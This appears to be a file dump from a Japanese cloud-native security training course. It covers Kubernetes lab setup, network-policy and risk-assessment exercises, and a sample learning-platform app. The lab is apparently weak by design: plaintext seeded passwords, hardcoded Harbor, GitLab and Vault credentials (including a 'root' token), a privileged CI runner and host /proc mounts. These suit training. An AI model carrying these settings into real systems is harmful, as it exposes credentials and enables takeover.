35 | value: edge
36 | - name: KC_HOSTNAME_STRICT_BACKCHANNEL
37 | value: "true"
38 | - name: KC_HOSTNAME_STRICT_HTTPS
39 | value: "false"
40 | ingress:
41 | enabled: true
42 | hostname: keycloak.seccamp.com
43 | ingressClassName: nginx
44 | tls: true
45 | annotations:
46 | nginx.ingress.kubernetes.io/ssl-redirect: "true"
47 | nginx.ingress.kubernetes.io/force-ssl-redirect: "true"
48 | nginx.ingress.kubernetes.io/proxy-body-size: "0"
49 | cert-manager.io/cluster-issuer: "root-ca-issuer"
50 | nginx.ingress.kubernetes.io/configuration-snippet: |
51 | proxy_set_header X-Forwarded-Proto $scheme;
52 | extraTls:
53 | - hosts:
54 | - keycloak.seccamp.com
55 | secretName: keycloak-tls
56 | # tls:
57 | # enabled: true
58 | # existingSecret: keycloak-tls
59 | proxyHeaders: "forwarded"
60 |
--------------------------------------------------------------------------------
/00_setup/k8s/kind/kind-config.yaml:
--------------------------------------------------------------------------------
1 | kind: Cluster
2 | apiVersion: kind.x-k8s.io/v1alpha4
3 | nodes:
4 | - role: control-plane
5 | kubeadmConfigPatches:
6 | - |
7 | kind: InitConfiguration
8 | nodeRegistration:
9 | kubeletExtraArgs:
10 | node-labels: "ingress-ready=true"
11 | - |
12 | kind: ClusterConfiguration
13 | apiServer:
14 | # enable auditing flags on the API server
15 | extraArgs:
16 | audit-log-path: /var/log/kubernetes/kube-apiserver-audit.log
17 | audit-policy-file: /etc/kubernetes/policies/audit-policy.yaml
18 | # mount new files / directories on the control plane
19 | extraVolumes:
20 | - name: audit-policies
21 | hostPath: /etc/kubernetes/policies
22 | mountPath: /etc/kubernetes/policies
23 | readOnly: true
24 | pathType: "DirectoryOrCreate"
25 | - name: "audit-logs"
26 | hostPath: "/var/log/kubernetes"
27 | mountPath: "/var/log/kubernetes"
28 | readOnly: false
29 | pathType: DirectoryOrCreate
30 | extraMounts:
31 | - hostPath: /proc
32 | containerPath: /procHost
33 | - hostPath: /root/kind/audit-policy.yaml
34 | containerPath: /etc/kubernetes/policies/audit-policy.yaml
35 | readOnly: true
36 | extraPortMappings:
37 | # ingress port for nginx
38 | - containerPort: 30080
39 | hostPort: 80
40 | listenAddress: "0.0.0.0"
41 | protocol: TCP
42 | - containerPort: 30443
43 | hostPort: 443
44 | listenAddress: "0.0.0.0"
45 | protocol: TCP
46 | - role: worker
47 | extraMounts:
48 | - hostPath: /proc
49 | containerPath: /procHost
50 | - role: worker
51 | extraMounts:
52 | - hostPath: /proc
53 | containerPath: /procHost
54 | networking:
55 | disableDefaultCNI: true
56 | kubeProxyMode: none
57 |
--------------------------------------------------------------------------------
/04_hardening/trainings/networkpolicy.md:
--------------------------------------------------------------------------------
1 | # ネットワークポリシー
2 |
3 | ## 課題1: 基本的なNetwork Policyの実装
4 |
5 | 現在のクラスタではすべてのPod間で自由な通信が可能になっています。セキュリティを向上させるため、最小権限の原則に基づいたネットワーク制御を実装しましょう。
6 |
7 | ### ステップ
8 | 1. フロントエンドからデータベースへの直接アクセスを禁止するNetwork Policyを作成してください
9 | 2. データベースへはバックエンドからのみアクセスを許可するポリシーを設定してください
10 | 3. 外部インターネットへの不要な通信を制限してください
11 | 4. 許可されていない通信がブロックされることを確認してください
12 |
13 | 解答例: フロントエンドのNetworkPolicy
14 |
15 | ```yaml
16 | apiVersion: networking.k8s.io/v1
17 | kind: NetworkPolicy
18 | metadata:
19 | name: frontend-netpol
20 | namespace: seccamp-app
21 | spec:
22 | podSelector:
23 | matchLabels:
24 | app: frontend
25 | policyTypes:
26 | - Ingress
27 | - Egress
28 | ingress:
29 | # 外部からのHTTPアクセスを許可
30 | - from: []
31 | ports:
32 | - protocol: TCP
33 | port: 80
34 | egress:
35 | # DNS解決を許可
36 | - to: []
37 | ports:
38 | - protocol: UDP
39 | port: 53
40 | # バックエンドAPIへのアクセスを許可
41 | - to:
42 | - podSelector:
43 | matchLabels:
44 | app: backend
45 | ports:
46 | - protocol: TCP
47 | port: 8000
48 | ```
49 |
50 |
51 |
52 | ## 課題2: Cilium Network Policyの活用
53 |
54 | 標準のKubernetes Network PolicyよりもCilium Network Policyは豊富な機能を提供します。
55 |
56 | ### ステップ
57 | 1. Cilium Network PolicyでL7(HTTP)レベルの通信制御を実装してください
58 | 2. APIエンドポイント単位でのアクセス制御を設定してください
59 |
60 | ヒント: バックエンドのNetworkPolicy(作成途中)
61 |
62 | ```yaml
63 | apiVersion: "cilium.io/v2"
64 | kind: CiliumNetworkPolicy
65 | metadata:
66 | name: backend-l7-policy
67 | namespace: seccamp-app
68 | spec:
69 | endpointSelector:
70 | matchLabels:
71 | app: backend
72 | ingress:
73 | # フロントエンドからのHTTPリクエスト受信
74 | - fromEndpoints:
75 | toPorts:
76 | - ports:
77 | - port: "8000"
78 | protocol: TCP
79 | rules:
80 | http:
81 | # 受信を許可するAPIエンドポイント
82 | - method: "GET"
83 | path: "/admin/users"
84 | ```
85 |
86 |
87 |
--------------------------------------------------------------------------------
/00_setup/README.md:
--------------------------------------------------------------------------------
1 | # セットアップ手順
2 |
3 | ## 演習環境(構築済み)
4 |
5 | ```bash
6 | cd 00_setup/aws/environments/prd
7 | terraform init
8 | terraform plan
9 | terraform apply
10 | ```
11 |
12 | 環境構築後、[こちらのセットアップ手順](./operation.md)を手動実行
13 |
14 | ## 事前準備(ローカル環境)
15 |
16 | - aws cli をインストール
17 |
18 | https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html
19 |
20 | - ssm プラグインをインストール
21 |
22 | https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html
23 |
24 | - /etc/hosts に以下を追加
25 |
26 | ```
27 | 127.0.0.1 nginx.seccamp.com
28 | 127.0.0.1 hubble.seccamp.com
29 | 127.0.0.1 openclarity.seccamp.com
30 | 127.0.0.1 harbor.seccamp.com
31 | 127.0.0.1 gitlab.seccamp.com
32 | 127.0.0.1 argocd.seccamp.com
33 | 127.0.0.1 app.seccamp.com
34 | 127.0.0.1 loki.seccamp.com
35 | 127.0.0.1 grafana.seccamp.com
36 | ```
37 |
38 | ## 演習環境へのアクセス方法
39 |
40 | - EC2 インスタンスへの接続(マネジメントコンソール)
41 |
42 | EC2インスタンスの一覧から使用するインスタンスを探し、インスタンス詳細画面に遷移します。
43 |
44 | インスタンス詳細画面の右上にある「接続」をクリックします。
45 |
46 | 「セッションマネージャー」タブを選択し、「接続」をクリックすれば完了です。
47 |
48 | - EC2 インスタンスへの接続(CLI)
49 |
50 | ローカル環境のCLIを起動し、AWS の認証情報を設定します。
51 |
52 | 正しく設定できているかどうかは次のコマンドで確認できます。
53 |
54 | ```bash
55 | aws sts get-caller-identity
56 | ```
57 |
58 | 認証情報の設定後、次のコマンドでインスタンスに接続できます。
59 |
60 | ```bash
61 | aws ssm start-session \
62 | --target i-0000000000 \ # インスタンスIDを変更
63 | --region ap-northeast-1
64 | ```
65 |
66 | - root ユーザーに切り替え
67 |
68 | 本演習は root ユーザーの権限で実施しますので、インスタンス接続後にユーザーを切り替えます。
69 |
70 | ```bash
71 | sudo su -
72 | ```
73 |
74 | - ポートフォワーディング
75 |
76 | ローカル環境から EC2 上に構築したサービスにアクセスするため、演習の一部でポートフォワードが必要になります。
77 |
78 | ```bash
79 | aws ssm start-session \
80 | --target i-0000000000 \ # インスタンスIDを変更
81 | --region ap-northeast-1 \
82 | --document-name AWS-StartPortForwardingSession \
83 | --parameters '{"portNumber":["443"], "localPortNumber":["8082"]}'
84 | ```
85 |
86 | - ルート証明書の取得
87 |
88 | ```bash
89 | cat /usr/local/share/ca-certificates/extra/seccamp-ca.crt
90 | ```
91 |
92 | ブラウザから環境にアクセスする際にエラーが発生する可能性があるため、ローカル端末へのルート証明書のインストールを推奨します。
93 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/gitlab.values.yaml:
--------------------------------------------------------------------------------
1 | nginx-ingress:
2 | enabled: false
3 | prometheus:
4 | install: false
5 | installCertmanager: false
6 | global:
7 | kas:
8 | enabled: false
9 | hosts:
10 | domain: seccamp.com
11 | https: true
12 | ingress:
13 | annotations:
14 | nginx.ingress.kubernetes.io/connection-proxy-header: "keep-alive"
15 | nginx.ingress.kubernetes.io/ssl-redirect: "true"
16 | cert-manager.io/cluster-issuer: "root-ca-issuer"
17 | class: nginx
18 | configureCertmanager: false
19 | enabled: true
20 | path: /
21 | pathType: ImplementationSpecific
22 | tls:
23 | enabled: true
24 | secretName: gitlab-tls
25 | initialRootPassword:
26 | secret: gitlab-initial-root-password
27 | key: password
28 | minio:
29 | ingress:
30 | tls:
31 | enabled: true
32 | secretName: gitlab-minio-tls
33 | gitlab:
34 | webservice:
35 | enabled: true
36 | gitlab-shell:
37 | enabled: false
38 | registry:
39 | enabled: false
40 | gitlab-runner:
41 | install: true
42 | rbac:
43 | create: true
44 | certsSecretName: gitlab-tls
45 | runners:
46 | privileged: true
47 | locked: false
48 | secret: "nonempty"
49 | config: |
50 | [[runners]]
51 | tls-ca-file = "/home/gitlab-runner/.gitlab-runner/certs/ca.crt"
52 | environment = ["HARBOR_USER=test", "HARBOR_PASSWORD=TestUser1234"]
53 | [runners.kubernetes]
54 | image = "ubuntu:22.04"
55 | namespace = "gitlab"
56 | service_account = "gitlab-gitlab-runner"
57 | poll_timeout = 180
58 | cpu_request = "100m"
59 | memory_request = "128Mi"
60 | helper_cpu_request = "50m"
61 | helper_memory_request = "64Mi"
62 | [runners.kubernetes.node_selector]
63 | "kubernetes.io/os" = "linux"
64 | [[runners.kubernetes.volumes.secret]]
65 | name = "gitlab-tls"
66 | mount_path = "/home/gitlab-runner/.gitlab-runner/certs/"
67 | default_mode = 292
68 | [runners.kubernetes.volumes.secret.items]
69 | "ca.crt" = "ca.crt"
70 | [[runners.kubernetes.volumes.empty_dir]]
71 | name = "builds"
72 | mount_path = "/builds"
73 | podSecurityContext:
74 | seccompProfile:
75 | type: "RuntimeDefault"
76 |
--------------------------------------------------------------------------------
/03_security_assessment/training.md:
--------------------------------------------------------------------------------
1 | # 演習3 セキュリティアセスメント
2 |
3 | 本演習では、無敗塾のシステムを対象にセキュリティアセスメントを実践してみます。
4 |
5 | ## 演習の目的
6 |
7 | - ルールベースとリスクベースのセキュリティアプローチを実際のシステムに適用する
8 | - システムの探索や机上での脅威分析により、セキュリティリスクを発見する
9 | - 多層防御の観点からセキュリティギャップを特定する
10 | - セキュリティ対策の費用対効果を考慮した優先順位付けを行う
11 |
12 | ## グループワーク: セキュリティリスクの発見と評価
13 |
14 | 各グループは以下のアプローチを組み合わせて、システムのセキュリティリスクを発見・評価してください。
15 |
16 | ### アプローチ1: システム探索によるリスク発見
17 |
18 | **ヒント:**
19 | - Kubernetesクラスタの設定状況を調査する
20 | - デプロイされたアプリケーションの構成を確認する
21 | - セキュリティスキャンツールを活用する
22 | - ネットワーク設定やアクセス制御を調べる
23 |
24 | **調査のきっかけとなるコマンド例:**
25 | ```bash
26 | # クラスタの基本情報確認
27 | kubectl cluster-info
28 | kubectl get nodes -o wide
29 |
30 | # デプロイされているリソースの確認
31 | kubectl get all --all-namespaces
32 | kubectl get secrets,configmaps --all-namespaces
33 |
34 | # セキュリティ関連設定の確認
35 | kubectl get networkpolicy --all-namespaces
36 | kubectl get psp,podsecuritypolicy --all-namespaces
37 | ```
38 |
39 | ### アプローチ2: 脅威リストを活用した分析
40 |
41 | **参考資料:**
42 | - [クラウドネイティブ環境の脅威と対策](./threat_lits.md)
43 | - [無敗塾のデータフロー図](./dfd.md)
44 |
45 | **検討の観点:**
46 | - 各コンポーネント間の信頼境界はどこか?
47 | - STRIDE(なりすまし、改ざん、否認、情報漏洩、サービス拒否、権限昇格)の観点で何が起こり得るか?
48 | - 攻撃者はどのような経路でシステムに侵入できるか?
49 |
50 | ## リスク評価と優先順位付け
51 |
52 | 発見したリスクについて、以下の観点で評価・優先順位付けを行ってください。
53 |
54 | ### リスクの定量評価
55 |
56 | **影響度の評価:**
57 | - 低: 限定的な影響(一部機能停止、少量データ漏洩)
58 | - 中: 中程度の影響(サービス一時停止、ユーザーデータ漏洩)
59 | - 高: 深刻な影響(長時間停止、全データ漏洩、法的責任)
60 |
61 | **発生可能性の評価:**
62 | - 低: 高度なスキルと内部情報が必要
63 | - 中: 一般的な攻撃手法で実行可能
64 | - 高: 容易に実行可能な攻撃
65 |
66 | ### ビジネス観点での優先順位付け
67 |
68 | 以下の制約条件を考慮して、対応すべきリスクの優先順位を決定してください。
69 |
70 | - **予算制約**: 限られたセキュリティ投資予算
71 | - **開発効率**: 開発チームの生産性への影響最小化
72 | - **コンプライアンス**: 個人情報保護法等の規制要件
73 | - **サービス継続**: オンライン学習サービスの可用性確保
74 |
75 | ## 発表準備
76 |
77 | 各グループは発見したリスクと対策提案をまとめ、以下の構成で発表準備を行ってください。
78 |
79 | ### 発表構成
80 | 1. **発見した主要リスク**: システム探索・机上分析で特定した重要なセキュリティリスク(上位3つ)
81 | 2. **リスク評価と優先順位**: 影響度・発生可能性・ビジネス観点での優先度
82 | 3. **推奨対策**: 最優先で実施すべき対策とその選定理由
83 |
84 | ### 成果物例
85 |
86 | **リスク一覧表:**
87 | | リスクID | リスク内容 | 発見方法 | 影響度 | 可能性 | 優先度 | 推奨対策 |
88 | |----------|-----------|----------|--------|--------|--------|----------|
89 | | R001 | | システム探索 | 高 | 中 | 高 | |
90 | | R002 | | 脅威リスト分析 | 中 | 高 | 中 | |
91 |
92 | ### 想定される質問と回答準備
93 |
94 | **Q**: そのリスクはどのように発見したのか?
95 | **A**: システム探索の具体的手法 or 脅威分析の観点を説明
96 |
97 | **Q**: 他にも考えられる脅威はないか?
98 | **A**: 時間制約で検討できなかった脅威や、今後の課題として認識している点を説明
99 |
100 | **Q**: 対策のコストと効果をどう評価したか?
101 | **A**: 実装工数、運用負荷、リスク軽減効果の観点から説明
102 |
103 | ---
104 |
105 | ## 次のステップ
106 |
107 | 演習完了後、[4章 セキュリティ対策の導入](../04_hardening/README.md) に進みます。
108 |
--------------------------------------------------------------------------------
/app/package-lock.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "app",
3 | "lockfileVersion": 3,
4 | "requires": true,
5 | "packages": {
6 | "": {
7 | "dependencies": {
8 | "react": "^19.1.0",
9 | "react-dom": "^19.1.0"
10 | },
11 | "devDependencies": {
12 | "@types/react": "^19.1.8",
13 | "@types/react-dom": "^19.1.6"
14 | }
15 | },
16 | "node_modules/@types/react": {
17 | "version": "19.1.8",
18 | "resolved": "https://registry.npmjs.org/@types/react/-/react-19.1.8.tgz",
19 | "integrity": "sha512-AwAfQ2Wa5bCx9WP8nZL2uMZWod7J7/JSplxbTmBQ5ms6QpqNYm672H0Vu9ZVKVngQ+ii4R/byguVEUZQyeg44g==",
20 | "dev": true,
21 | "license": "MIT",
22 | "dependencies": {
23 | "csstype": "^3.0.2"
24 | }
25 | },
26 | "node_modules/@types/react-dom": {
27 | "version": "19.1.6",
28 | "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.1.6.tgz",
29 | "integrity": "sha512-4hOiT/dwO8Ko0gV1m/TJZYk3y0KBnY9vzDh7W+DH17b2HFSOGgdj33dhihPeuy3l0q23+4e+hoXHV6hCC4dCXw==",
30 | "dev": true,
31 | "license": "MIT",
32 | "peerDependencies": {
33 | "@types/react": "^19.0.0"
34 | }
35 | },
36 | "node_modules/csstype": {
37 | "version": "3.1.3",
38 | "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz",
39 | "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==",
40 | "dev": true,
41 | "license": "MIT"
42 | },
43 | "node_modules/react": {
44 | "version": "19.1.0",
45 | "resolved": "https://registry.npmjs.org/react/-/react-19.1.0.tgz",
46 | "integrity": "sha512-FS+XFBNvn3GTAWq26joslQgWNoFu08F4kl0J4CgdNKADkdSGXQyTCnKteIAJy96Br6YbpEU1LSzV5dYtjMkMDg==",
47 | "license": "MIT",
48 | "engines": {
49 | "node": ">=0.10.0"
50 | }
51 | },
52 | "node_modules/react-dom": {
53 | "version": "19.1.0",
54 | "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.1.0.tgz",
55 | "integrity": "sha512-Xs1hdnE+DyKgeHJeJznQmYMIBG3TKIHJJT95Q58nHLSrElKlGQqDTR2HQ9fx5CN/Gk6Vh/kupBTDLU11/nDk/g==",
56 | "license": "MIT",
57 | "dependencies": {
58 | "scheduler": "^0.26.0"
59 | },
60 | "peerDependencies": {
61 | "react": "^19.1.0"
62 | }
63 | },
64 | "node_modules/scheduler": {
65 | "version": "0.26.0",
66 | "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.26.0.tgz",
67 | "integrity": "sha512-NlHwttCI/l5gCPR3D1nNXtWABUmBwvZpEQiD4IXSbIDq8BzLIK/7Ir5gTFSGZDUu37K5cMNp0hFtzO38sC7gWA==",
68 | "license": "MIT"
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/app/db/init.sql:
--------------------------------------------------------------------------------
1 | USE seccamp2025;
2 |
3 | -- MariaDB初期化用SQL
4 | -- ユーザー情報テーブル
5 | CREATE TABLE IF NOT EXISTS users (
6 | id INT AUTO_INCREMENT PRIMARY KEY,
7 | username VARCHAR(64) UNIQUE NOT NULL,
8 | full_name VARCHAR(128),
9 | password VARCHAR(256) NOT NULL,
10 | is_admin BOOLEAN DEFAULT FALSE
11 | );
12 |
13 | -- 学習コンテンツ情報テーブル
14 | CREATE TABLE IF NOT EXISTS courses (
15 | id INT AUTO_INCREMENT PRIMARY KEY,
16 | title VARCHAR(128) NOT NULL,
17 | description TEXT
18 | );
19 |
20 | -- 学習進捗テーブル(複合ユニーク制約追加)
21 | CREATE TABLE IF NOT EXISTS progress (
22 | id INT AUTO_INCREMENT PRIMARY KEY,
23 | user_id INT NOT NULL,
24 | course_id INT NOT NULL,
25 | percent INT DEFAULT 0,
26 | updated_at DATETIME,
27 | FOREIGN KEY (user_id) REFERENCES users(id),
28 | FOREIGN KEY (course_id) REFERENCES courses(id),
29 | UNIQUE KEY user_course_unique (user_id, course_id)
30 | );
31 |
32 | -- サンプルデータ投入用SQL
33 | -- ユーザーサンプルデータ(日本人名・自然な名前)
34 | INSERT INTO users (username, full_name, password, is_admin) VALUES
35 | ('sato', '佐藤 太郎', 'pass1', FALSE),
36 | ('suzuki', '鈴木 花子', 'pass2', FALSE),
37 | ('takahashi', '高橋 健一', 'pass3', FALSE),
38 | ('tanaka', '田中 由美', 'pass4', FALSE),
39 | ('watanabe', '渡辺 翔太', 'pass5', FALSE),
40 | ('ito', '伊藤 美咲', 'pass6', FALSE),
41 | ('yamamoto', '山本 悠斗', 'pass7', FALSE),
42 | ('nakamura', '中村 彩香', 'pass8', FALSE),
43 | ('kobayashi', '小林 直人', 'pass9', FALSE),
44 | ('kato', '加藤 恵美', 'pass10', FALSE),
45 | ('yoshida', '吉田 拓海', 'pass11', FALSE),
46 | ('yamada', '山田 沙織', 'pass12', FALSE),
47 | ('sasaki', '佐々木 亮介', 'pass13', FALSE),
48 | ('yamaguchi', '山口 真由美', 'pass14', FALSE),
49 | ('matsumoto', '松本 智也', 'pass15', FALSE),
50 | ('inoue', '井上 千尋', 'pass16', FALSE),
51 | ('kimura', '木村 大輔', 'pass17', FALSE),
52 | ('hayashi', '林 美和', 'pass18', FALSE),
53 | ('shimizu', '清水 和也', 'pass19', FALSE),
54 | ('saito', '斎藤 香織', 'pass20', FALSE),
55 | ('admin', '管理者', 'adminpass', TRUE);
56 |
57 | -- コースサンプルデータ
58 | INSERT INTO courses (title, description) VALUES
59 | ('Python入門', 'Pythonの基礎を学ぶコース'),
60 | ('Kubernetes基礎', 'Kubernetesの基本を学ぶコース'),
61 | ('Go言語入門', 'Go言語の基礎を学ぶコース'),
62 | ('React入門', 'Reactの基礎を学ぶコース'),
63 | ('セキュリティ基礎', 'セキュリティの基本を学ぶコース'),
64 | ('Linux入門', 'Linuxの基礎を学ぶコース'),
65 | ('クラウド基礎', 'クラウド技術の基礎を学ぶコース'),
66 | ('ネットワーク基礎', 'ネットワークの基本を学ぶコース'),
67 | ('Docker入門', 'Dockerの基礎を学ぶコース'),
68 | ('CI/CD入門', 'CI/CDの基礎を学ぶコース');
69 |
70 | -- 学習進捗サンプルデータ
71 | INSERT INTO progress (user_id, course_id, percent, updated_at) VALUES
72 | (1, 1, 50, NOW()),
73 | (1, 2, 0, NOW()),
74 | (1, 3, 100, NOW()),
75 | (2, 1, 80, NOW()),
76 | (2, 2, 20, NOW()),
77 | (2, 3, 0, NOW()),
78 | (3, 1, 0, NOW()),
79 | (3, 2, 0, NOW()),
80 | (3, 3, 0, NOW()),
81 | (4, 1, 100, NOW()),
82 | (4, 2, 100, NOW()),
83 | (4, 3, 100, NOW()),
84 | (5, 1, 10, NOW()),
85 | (5, 2, 30, NOW()),
86 | (5, 3, 60, NOW());
87 |
--------------------------------------------------------------------------------
/01_scenario/training.md:
--------------------------------------------------------------------------------
1 | # 演習1 環境の把握
2 |
3 | - [演習1 環境の把握](#演習1-環境の把握)
4 | - [1 環境への接続確認](#1-環境への接続確認)
5 | - [1.1 Kubernetesクラスタ接続確認](#11-kubernetesクラスタ接続確認)
6 | - [1.2 無敗塾アプリケーション動作確認](#12-無敗塾アプリケーション動作確認)
7 | - [1.3 利用可能なツール確認](#13-利用可能なツール確認)
8 | - [2 利用可能なツールの探索](#2-利用可能なツールの探索)
9 | - [2.1 監視・ログ系ツール](#21-監視ログ系ツール)
10 | - [2.2 セキュリティ系ツール](#22-セキュリティ系ツール)
11 | - [2.3 CI/CD・開発系ツール](#23-cicd開発系ツール)
12 | - [次のステップ](#次のステップ)
13 |
14 | この演習では、無敗塾の現在の環境を探索し、アプリケーションやOSSツールの構成を把握します。
15 |
16 | ## 1 環境への接続確認
17 |
18 | ### 1.1 Kubernetesクラスタ接続確認
19 |
20 | まずは基本的な接続確認を行いましょう。
21 |
22 | ```bash
23 | # クラスタ情報確認
24 | kubectl version
25 | kubectl cluster-info
26 |
27 | # namespace確認
28 | kubectl get namespaces
29 |
30 | # 現在の権限確認
31 | kubectl auth whoami
32 | kubectl auth can-i get pods --namespace=seccamp-app
33 | ```
34 |
35 | ### 1.2 無敗塾アプリケーション動作確認
36 |
37 | 無敗塾のアプリケーションが実際に動いているかチェックしてみましょう。
38 |
39 | ```bash
40 | # アプリケーション用namespaceの状態確認
41 | kubectl get all -n seccamp-app
42 | kubectl get services -n seccamp-app
43 | kubectl get ingress -n seccamp-app
44 | ```
45 |
46 | Webアプリケーションへのアクセス
47 |
48 | https://app.seccamp.com:8082
49 |
50 | ### 1.3 利用可能なツール確認
51 |
52 | どんなツールが用意されているか確認してみましょう。
53 |
54 | ```bash
55 | # 全namespaceのPod確認
56 | kubectl get pods -A
57 |
58 | # 主要なnamespace
59 | kubectl get namespaces
60 |
61 | # 監視系ツール
62 | kubectl get pods -n monitoring
63 |
64 | # セキュリティ系ツール
65 | kubectl get pods -n kube-system | grep tetragon
66 | kubectl get pods -n openclarity
67 |
68 | # CI/CD・開発系ツール
69 | kubectl get pods -n gitlab
70 | kubectl get pods -n harbor
71 | kubectl get pods -n argocd
72 | ```
73 |
74 | **確認ポイント**:
75 | - [ ] Kubernetesクラスタにアクセスできる
76 | - [ ] 無敗塾アプリケーションが動作している
77 | - [ ] 利用可能なツール群を把握できた
78 |
79 | ## 2 利用可能なツールの探索
80 |
81 | ### 2.1 監視・ログ系ツール
82 |
83 | 実際に環境で動作している監視・ログツールを確認してみましょう。
84 |
85 | ```bash
86 | # Grafana(ダッシュボード)
87 | kubectl get pods -n monitoring | grep grafana
88 |
89 | # Loki(ログ収集)
90 | kubectl get pods -n monitoring | grep loki
91 |
92 | # Kubernetes Events Exporter
93 | kubectl get pods -n monitoring | grep events-exporter
94 |
95 | # Metrics Server
96 | kubectl get pods -n kube-system | grep metrics-server
97 |
98 | # Hubble(ネットワーク可視化)
99 | kubectl get pods -n kube-system | grep hubble
100 | ```
101 |
102 | ### 2.2 セキュリティ系ツール
103 |
104 | セキュリティ関連のツールを探してみましょう。
105 |
106 | ```bash
107 | # Tetragon(ランタイムセキュリティ・eBPF)
108 | kubectl get pods -n kube-system | grep tetragon
109 |
110 | # OpenClarity(セキュリティスキャン)
111 | kubectl get pods -n openclarity
112 |
113 | # Cilium(ネットワークセキュリティ・eBPF)
114 | kubectl get pods -n kube-system | grep cilium
115 | ```
116 |
117 | ### 2.3 CI/CD・開発系ツール
118 |
119 | 開発・デプロイに関連するツールを確認してみましょう。
120 |
121 | ```bash
122 | # GitLab(ソースコード管理・CI/CD)
123 | kubectl get pods -n gitlab
124 |
125 | # Harbor(コンテナレジストリ)
126 | kubectl get pods -n harbor
127 |
128 | # ArgoCD(GitOps)
129 | kubectl get pods -n argocd
130 | ```
131 |
132 | **確認ポイント**:
133 |
134 | - [ ] どんなツールが動いているか(監視、セキュリティ、CI/CDなど)
135 | - [ ] 無敗塾アプリケーションの構成
136 | - [ ] その他、設定や構成で気になったこと
137 |
138 | ---
139 |
140 | ## 次のステップ
141 |
142 | 演習完了後、[2章 クラウドネイティブセキュリティの基礎](../02_cloud_native_sec/README.md) に進みます。
143 |
--------------------------------------------------------------------------------
/00_setup/operation.md:
--------------------------------------------------------------------------------
1 | # 環境構築後セットアップ
2 |
3 | ## 証明書のインストール(自動化済)
4 |
5 | ```bash
6 | mkdir /usr/local/share/ca-certificates/extra
7 | kubectl view-secret -n cert-manager root-ca-secret ca.crt > /usr/local/share/ca-certificates/extra/seccamp-ca.crt
8 | update-ca-certificates
9 | ```
10 |
11 | ## Harbor
12 |
13 | ### 管理者でログイン
14 |
15 | - username: admin
16 | - password: harboradminpassword
17 |
18 | ### ユーザー作成
19 |
20 | - username: test
21 | - password: TestUser1234
22 | - email: test@test.com
23 |
24 | 
25 |
26 | ### プロジェクト作成
27 |
28 | - project_name: seccamp2025
29 |
30 | 
31 |
32 | ### プロジェクトにユーザー追加
33 |
34 | - Name: test
35 | - Role: Developer
36 |
37 | 
38 |
39 | ### ImagePullSecrets 作成(自動化済)
40 |
41 | ```bash
42 | kubectl create secret docker-registry harbor-cred \
43 | --namespace seccamp-app \
44 | --docker-server=harbor.seccamp.com \
45 | --docker-username=test \
46 | --docker-password=TestUser1234 \
47 | --docker-email=test@test.com
48 | ```
49 |
50 | ## Gitlab
51 |
52 | ### 管理者でログイン
53 |
54 | - username: root
55 | - password: 以下で取得
56 |
57 | ```bash
58 | kubectl view-secret -n gitlab gitlab-initial-root-password
59 | ```
60 |
61 | ### グループ作成
62 |
63 | - Group name: seccamp2025
64 |
65 | 
66 |
67 | ### プロジェクト作成
68 |
69 | seccamp2025 グループにアプリ用のプロジェクトを作成
70 |
71 | - フロントエンド
72 | - Project name: frontend
73 | - バックエンド
74 | - Project name: backend
75 | - インフラ
76 | - Project name: infra
77 |
78 | 
79 |
80 | ### Auto DevOps 無効化
81 |
82 | - Admin コンソールの \[Settings] - \[CI/CD] に移動
83 | - \[Continuous Integration and Deployment] - \[Default to Auto DevOps pipeline for all projects] のチェックを外す
84 | - Save changes で保存
85 |
86 | 
87 |
88 | ### ソースコード追加
89 |
90 | ```bash
91 | # git clone from github
92 | cd /root
93 | git clone https://github.com/kyohmizu/seccamp2025-B4.git
94 |
95 | # git clone from gitlab
96 | cd /root/gitlab
97 | git clone https://gitlab.seccamp.com/seccamp2025/backend.git
98 | git clone https://gitlab.seccamp.com/seccamp2025/frontend.git
99 | git clone https://gitlab.seccamp.com/seccamp2025/infra.git
100 |
101 | # copy code from github to gitlab
102 | cp -r /root/seccamp2025-B4/app/backend/* /root/gitlab/backend/
103 | cp -r /root/seccamp2025-B4/app/backend/.[!.]* /root/gitlab/backend/
104 |
105 | cp -r /root/seccamp2025-B4/app/frontend/* /root/gitlab/frontend/
106 | cp -r /root/seccamp2025-B4/app/frontend/.[!.]* /root/gitlab/frontend/
107 |
108 | cp -r /root/seccamp2025-B4/app/infra/* /root/gitlab/infra/
109 |
110 | # commit & push
111 | cd /root/gitlab/backend
112 | git add .
113 | git commit -m "Import from GitHub"
114 | git push
115 |
116 | cd /root/gitlab/frontend
117 | git add .
118 | git commit -m "Import from GitHub"
119 | git push
120 |
121 | cd /root/gitlab/infra
122 | git add .
123 | git commit -m "Import from GitHub"
124 | git push
125 | ```
126 |
127 | ### タグの付与
128 |
129 | - Projects
130 | - seccamp2025/backend
131 | - seccamp2025/frontend
132 | - Tag name: v1.0
133 |
134 | 
135 |
136 | ## Application
137 |
138 | ### デプロイ
139 |
140 | ```bash
141 | kubectl apply -f /root/gitlab/infra/manifests/
142 | ```
143 |
--------------------------------------------------------------------------------
/00_setup/vault_eso_tutorial.md:
--------------------------------------------------------------------------------
1 | # Vault初期化とExternal Secrets設定例
2 |
3 | ## 1. Vaultへのアクセス確認
4 | ```bash
5 | # Vault CLIでの接続確認
6 | export VAULT_ADDR='https://vault.seccamp.com'
7 | export VAULT_TOKEN="root"
8 | vault status
9 | ```
10 |
11 | ## 2. Vault KV v2エンジンの確認と設定
12 | ```bash
13 | # 既存のsecret engineを確認
14 | vault secrets list
15 |
16 | # 開発モードでは secret/ パスに KV v2 が既に有効になっている場合があります
17 | # もし secret/ が存在しない場合のみ、以下のコマンドを実行:
18 | # vault secrets enable -path=secret kv-v2
19 |
20 | # シークレットの作成テスト
21 | vault kv put secret/myapp/config \
22 | database-password="super-secret-password" \
23 | api-key="abc123def456"
24 |
25 | # 作成したシークレットを確認
26 | vault kv get secret/myapp/config
27 | ```
28 |
29 | ## 3. Vault用のポリシー作成
30 | ```bash
